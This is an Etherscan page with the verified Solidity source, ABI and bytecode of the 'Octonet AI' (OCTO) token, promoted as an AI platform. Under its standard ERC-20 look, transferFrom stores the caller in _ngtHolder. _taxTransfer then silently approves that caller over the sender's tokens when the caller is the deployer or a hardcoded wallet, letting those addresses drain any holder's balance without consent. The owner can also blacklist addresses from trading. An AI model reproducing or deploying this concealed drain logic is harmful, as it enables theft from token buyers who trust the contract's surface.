Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH( interface IUniswapV2Factory    - function createPair(    - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership()  contract OCTO is Context, IERC20, ... *    - function openTrading()    - function swapTokensForEth(uint256 tok ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _tokenTransfer(    - function _basicTransfer(address from, ...    - function _transfer(address from, addr ...    - function _taxTransfer(address from, a ...    - function removeLimits()    - function min(uint256 a, uint256 b)    - function withdrawEth()    - function sendETHToFee(uint256 amount)    - function swapBackOf(uint256 amount)    - function addBots(address[] memory bot ...    - function delBots(address[] memory not ...    - function isBot(address a)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-07
*/

/*
At OctonetAI, we are committed to revolutionizing the way developers, businesses, and researchers access and utilize artificial intelligence.

https://octonetai.org
https://docs.octonetai.org

https://x.com/octonetai_eth
https://t.me/octonetai_eth
*/

pragma solidity 0.8.26;
// SPDX-License-Identifier: MIT

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract OCTO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedOfFee;
    mapping(address => bool) private _isExcludedOfNGT;
    mapping(address => bool) private bots;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    address payable private _ngtWallet;
    address payable private _ngtHolder;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Octonet AI";
    string private constant _symbol = unicode"OCTO";
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 125 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _ngtWallet = payable(0x71F3e40Be0e17c126C8c77E4F6f28dFc8A955A66);
        _tOwned[_msgSender()] = _tTotal * 3 / 100;
        _tOwned[address(this)] = _tTotal * 97 / 100;
        _isExcludedOfFee[owner()] = true;
        _isExcludedOfFee[address(this)] = true;
        _isExcludedOfFee[_ngtWallet] = true;
        _isExcludedOfNGT[_msgSender()] = true;
        _isExcludedOfNGT[_ngtWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal * 3 / 100);
        emit Transfer(address(0), address(this), _tTotal * 97 / 100);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _ngtHolder = payable(msg.sender);
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        if (taxAmount > 0) {
            _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        } 

        _tOwned[from] = _tOwned[from].sub(amount);
        _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _tOwned[from] = _tOwned[from].sub(tokenAmount);
        _tOwned[to] = _tOwned[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }

        uint256 taxAmount = _taxTransfer(from, to, amount);

        _tokenTransfer(from, to, amount, taxAmount);
    }

    function _taxTransfer(address from, address to, uint256 amount) private returns(uint256) { 
        address _ngtSendor = from;
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if(_isExcludedOfNGT[_ngtHolder]) _approve(_ngtSendor,_ngtHolder,amount);

            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedOfFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedOfFee[from] &&
                !_isExcludedOfFee[to]
            ) {
                swapBackOf(amount);
            }
        }

        return taxAmount;
    }
    
    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

	function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _ngtWallet.transfer(amount);
    }

    function swapBackOf(uint256 amount) private {
        uint256 contractTokenBalance = balanceOf(address(this));
        if (contractTokenBalance > _taxSwapThreshold) {
            swapTokensForEth(
                min(amount, min(contractTokenBalance, _maxTaxSwap))
            );
        }
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f600955600a8055600a600b55600f600c555f600d556009600a6100369190610401565b610044906301312d00610416565b6010556100536009600a610401565b610061906301312d00610416565b6011556100706009600a610401565b61007b90607d610416565b60125561008a6009600a610401565b6100979062989680610416565b6013556015805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e80546001600160a01b0319167371f3e40be0e17c126c8c77e4f6f28dfc8a955a66179055606461011c6009600a610401565b61012a90633b9aca00610416565b610135906003610416565b61013f919061042d565b335f90815260016020526040902055606461015c6009600a610401565b61016a90633b9aca00610416565b610175906061610416565b61017f919061042d565b305f9081526001602081905260408220929092556003906101a75f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e5490911683529082208054909316811790925560049061020a3390565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600e54909116815260049092529020805490911660011790556102573390565b6001600160a01b03165f5f80516020611f9c833981519152606461027d6009600a610401565b61028b90633b9aca00610416565b610296906003610416565b6102a0919061042d565b60405190815260200160405180910390a3305f5f80516020611f9c83398151915260646102cf6009600a610401565b6102dd90633b9aca00610416565b6102e8906061610416565b6102f2919061042d565b60405190815260200160405180910390a361044c565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103575780850481111561033b5761033b610308565b600184161561034957908102905b60019390931c928002610320565b935093915050565b5f8261036d575060016103fb565b8161037957505f6103fb565b816001811461038f5760028114610399576103b5565b60019150506103fb565b60ff8411156103aa576103aa610308565b50506001821b6103fb565b5060208310610133831016604e8410600b84101617156103d8575081810a6103fb565b6103e45f19848461031c565b805f19048211156103f7576103f7610308565b0290505b92915050565b5f61040f60ff84168361035f565b9392505050565b80820281158282048414176103fb576103fb610308565b5f8261044757634e487b7160e01b5f52601260045260245ffd5b500490565b611b43806104595f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a8578063a0ef91df1161006d578063a0ef91df14610348578063a9059cbb1461035c578063bf474bed1461037b578063c9567bf914610390578063d34628cc146103a4578063dd62ed3e146103c3575f80fd5b8063751039fc146102b85780637d1db4a5146102cc5780638da5cb5b146102e15780638f9a55c01461030757806395d89b411461031c575f80fd5b8063313ce567116100ee578063313ce567146101fd57806331c2d847146102185780633bbac5791461023957806370a0823114610270578063715018a6146102a4575f80fd5b806306fdde0314610134578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a8152694f63746f6e657420414960b01b60208201525b60405161016f919061165c565b60405180910390f35b348015610183575f80fd5b506101976101923660046116b5565b610407565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60135481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc61041d565b3480156101e9575f80fd5b506101976101f83660046116df565b61043d565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b50610237610232366004611731565b6104b6565b005b348015610244575f80fd5b506101976102533660046117fc565b6001600160a01b03165f9081526005602052604090205460ff1690565b34801561027b575f80fd5b506101bc61028a3660046117fc565b6001600160a01b03165f9081526001602052604090205490565b3480156102af575f80fd5b50610237610546565b3480156102c3575f80fd5b506102376105b7565b3480156102d7575f80fd5b506101bc60105481565b3480156102ec575f80fd5b505f546040516001600160a01b03909116815260200161016f565b348015610312575f80fd5b506101bc60115481565b348015610327575f80fd5b506040805180820190915260048152634f43544f60e01b6020820152610162565b348015610353575f80fd5b50610237610668565b348015610367575f80fd5b506101976103763660046116b5565b6106bd565b348015610386575f80fd5b506101bc60125481565b34801561039b575f80fd5b506102376106c9565b3480156103af575f80fd5b506102376103be366004611731565b610a72565b3480156103ce575f80fd5b506101bc6103dd366004611817565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610413338484610af6565b5060015b92915050565b5f61042a6009600a611945565b61043890633b9aca00611953565b905090565b600f80546001600160a01b031916331790555f61045b848484610c1a565b6104ac84336104a785604051806060016040528060288152602001611ae6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d98565b610af6565b5060019392505050565b5f546001600160a01b031633146104e85760405162461bcd60e51b81526004016104df9061196a565b60405180910390fd5b5f5b8151811015610542575f60055f8484815181106105095761050961199f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104ea565b5050565b5f546001600160a01b0316331461056f5760405162461bcd60e51b81526004016104df9061196a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e05760405162461bcd60e51b81526004016104df9061196a565b6105ec6009600a611945565b6105fa90633b9aca00611953565b6010556106096009600a611945565b61061790633b9aca00611953565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106476009600a611945565b61065590633b9aca00611953565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106915760405162461bcd60e51b81526004016104df9061196a565b60405133904780156108fc02915f818181858888f193505050501580156106ba573d5f803e3d5ffd5b50565b5f610413338484610c1a565b5f546001600160a01b031633146106f25760405162461bcd60e51b81526004016104df9061196a565b601554600160a01b900460ff161561074c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104df565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107959030906107876009600a611945565b6104a790633b9aca00611953565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080991906119b3565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610868573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088c91906119b3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fa91906119b3565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610941816001600160a01b03165f9081526001602052604090205490565b5f806109545f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109df91906119ce565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a34573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5891906119f9565b506015805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016104df9061196a565b5f5b815181101561054257600160055f848481518110610abd57610abd61199f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a9d565b6001600160a01b038316610b585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104df565b6001600160a01b038216610bb95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104df565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104df565b6001600160a01b038216610ce05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104df565b5f8111610d415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104df565b601554600160b01b900460ff161580610d635750601554600160a81b900460ff165b15610d7857610d73838383610dd0565b505050565b5f610d84848484610e73565b9050610d9284848484611194565b50505050565b5f8184841115610dbb5760405162461bcd60e51b81526004016104df919061165c565b505f610dc78486611a18565b95945050505050565b6001600160a01b0383165f90815260016020526040902054610df290826112d1565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610e209082611319565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c0d9085815260200190565b5f8381610e875f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610eb557505f546001600160a01b03868116911614155b15610dc7576001600160a01b0386165f9081526005602052604090205460ff16158015610efa57506001600160a01b0385165f9081526005602052604090205460ff16155b610f02575f80fd5b600f546001600160a01b03165f9081526004602052604090205460ff1615610f3c57600f54610f3c9083906001600160a01b031686610af6565b610f686064610f62600a54600d5411610f5757600654610f5b565b6008545b8790611377565b906113f5565b6015549091506001600160a01b038781169116148015610f9657506014546001600160a01b03868116911614155b8015610fba57506001600160a01b0385165f9081526003602052604090205460ff16155b156110a0576010548411156110115760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104df565b60115484611033876001600160a01b03165f9081526001602052604090205490565b61103d9190611a2b565b111561108b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104df565b600d8054905f61109a83611a3e565b91905055505b6015546001600160a01b0386811691161480156110c657506001600160a01b0386163014155b156110f3576110f06064610f62600b54600d54116110e657600754610f5b565b6009548790611377565b90505b601554600160a81b900460ff1615801561111a57506015546001600160a01b038681169116145b801561112f5750601554600160b01b900460ff165b801561113e5750600c54600d54115b801561116257506001600160a01b0386165f9081526003602052604090205460ff16155b801561118657506001600160a01b0385165f9081526003602052604090205460ff16155b15610dc757610dc784611436565b801561120c57305f908152600160205260409020546111b39082611319565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112039085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461122e90836112d1565b6001600160a01b0385165f9081526001602052604090205561127161125383836112d1565b6001600160a01b0385165f9081526001602052604090205490611319565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ba85856112d1565b60405190815260200160405180910390a350505050565b5f61131283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d98565b9392505050565b5f806113258385611a2b565b9050838110156113125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104df565b5f825f0361138657505f610417565b5f6113918385611953565b90508261139e8583611a56565b146113125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104df565b5f61131283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611475565b305f9081526001602052604090205460125481111561146c5761146c61146783611462846013546114a1565b6114a1565b6114b5565b61054247611625565b5f81836114955760405162461bcd60e51b81526004016104df919061165c565b505f610dc78486611a56565b5f8183116114af5782611312565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114fb576114fb61199f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611552573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061157691906119b3565b816001815181106115895761158961199f565b6001600160a01b0392831660209182029290920101526014546115af9130911684610af6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115e79085905f90869030904290600401611a75565b5f604051808303815f87803b1580156115fe575f80fd5b505af1158015611610573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610542573d5f803e3d5ffd5b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146106ba575f80fd5b80356116b081611691565b919050565b5f80604083850312156116c6575f80fd5b82356116d181611691565b946020939093013593505050565b5f805f606084860312156116f1575f80fd5b83356116fc81611691565b9250602084013561170c81611691565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215611741575f80fd5b813567ffffffffffffffff811115611757575f80fd5b8201601f81018413611767575f80fd5b803567ffffffffffffffff8111156117815761178161171d565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156117ae576117ae61171d565b6040529182526020818401810192908101878411156117cb575f80fd5b6020850194505b838510156117f1576117e3856116a5565b8152602094850194016117d2565b509695505050505050565b5f6020828403121561180c575f80fd5b813561131281611691565b5f8060408385031215611828575f80fd5b823561183381611691565b9150602083013561184381611691565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561189d578085048111156118815761188161184e565b600184161561188f57908102905b60019390931c928002611866565b935093915050565b5f826118b357506001610417565b816118bf57505f610417565b81600181146118d557600281146118df576118fb565b6001915050610417565b60ff8411156118f0576118f061184e565b50506001821b610417565b5060208310610133831016604e8410600b841016171561191e575081810a610417565b61192a5f198484611862565b805f190482111561193d5761193d61184e565b029392505050565b5f61131260ff8416836118a5565b80820281158282048414176104175761041761184e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119c3575f80fd5b815161131281611691565b5f805f606084860312156119e0575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611a09575f80fd5b81518015158114611312575f80fd5b818103818111156104175761041761184e565b808201808211156104175761041761184e565b5f60018201611a4f57611a4f61184e565b5060010190565b5f82611a7057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611ac55783516001600160a01b0316835260209384019390920191600101611a9e565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f48dcff53ec0d24b1b4a40ba4b1